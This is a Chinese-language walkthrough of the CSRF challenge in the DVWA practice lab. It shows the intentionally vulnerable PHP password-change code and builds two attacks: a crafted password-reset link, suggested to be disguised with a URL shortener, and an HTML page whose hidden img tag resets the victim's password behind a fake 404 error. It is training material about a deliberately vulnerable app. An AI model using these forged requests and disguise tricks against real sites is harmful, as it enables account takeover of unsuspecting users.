当前位置:   article > 正文

DVWA靶场通关(CSRF)

DVWA靶场通关(CSRF)

CSRF 是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

CSRF属于业务逻辑漏洞,服务器信任经过身份认证的用户。

漏洞利用前提::用户必须登录、黑客懂得一些发包的请求,服务器端是不会有二次认证的,被害者是不知情的


DVWALOW等级

  1. CSRF Source
  2. vulnerabilities/csrf/source/low.php
  3. <?php
  4. if( isset( $_GET[ 'Change' ] ) ) {
  5. // Get input
  6. $pass_new = $_GET[ 'password_new' ];
  7. $pass_conf = $_GET[ 'password_conf' ];
  8. // Do the passwords match?
  9. if( $pass_new == $pass_conf ) {
  10. // They do!
  11. $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  12. $pass_new = md5( $pass_new );
  13. // Update the database
  14. $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
  15. $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
  16. // Feedback for the user
  17. echo "<pre>Password Changed.</pre>";
  18. }
  19. else {
  20. // Issue with passwords matching
  21. echo "<pre>Passwords did not match.</pre>";
  22. }
  23. ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
  24. }
  25. ?>

代码解析:

查看源代码,首先获取输入的两个密码然后判断两个值是否相等,如果相等则对$pass_new变量进行调用mql_real_escape_string函数来进行字符串的过滤(防御SQL注入),再调用md5函数对输入的密码进行MD5加密,最后再将新密码更新到数据库中。分析源码只看到只对SQL注入进行了防御,并没有防御CSRF。

分析策略:

服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制,所以我们只需要用户在cookie还有效的时间内在相同的浏览器访问我们给定的url(该操作是服务器对请求的发送者进行了身份验证,检查cookie),就可以实现CSRF攻击,修改用户密码。

测试用DVWA的默认密码登录,发现登录不进去,然后用修改过的密码登录,发现登录成功,说明存在CSRF漏洞。

题目内容:

方法一 构造攻击链接
按照提示框输入密码和确认密码之后得到链接为:http://192.168.40.1/DVWA-master/vulnerabilities/csrf/?password_current=password&password_new=123456&password_conf=123456&Change=Change&user_token=c0c8394b2f0bb672adc073e1f5c62d5f#

列子:

http://152.136.104.68:9001/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#

当用户点击这个链接,密码就会自动被修改成admin,因此会有其他的工具用于将长链接缩短为短链接,如网站:百度短网址

方法二 构造攻击页面
新建一个html文件,通过img标签中的src属性来加载CSRF攻击利用的URL,并进行布局隐藏,实现了受害者点击链接则会将密码进行修改,再把该html文件放在攻击者自己准备的网站上。

  1. <img src="http://152.136.104.68:9001/vulnerabilities/csrf/?password_new=admin2&password_conf=admin2&Change" >
  2. <title>404 Not Found</title>
  3. <h1>Not Found</h1>
  4. <p>The requested URL was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
  5. <hr>
  6. <address>Apache Server at Port 80 </address>
  7. </body>
  8. </html>

当受害者点击该html之后,页面返回的404,会让受害者误以为自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码修改为admin。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/煮酒与君饮/article/detail/1021038
推荐阅读
相关标签
  

闽ICP备14008679号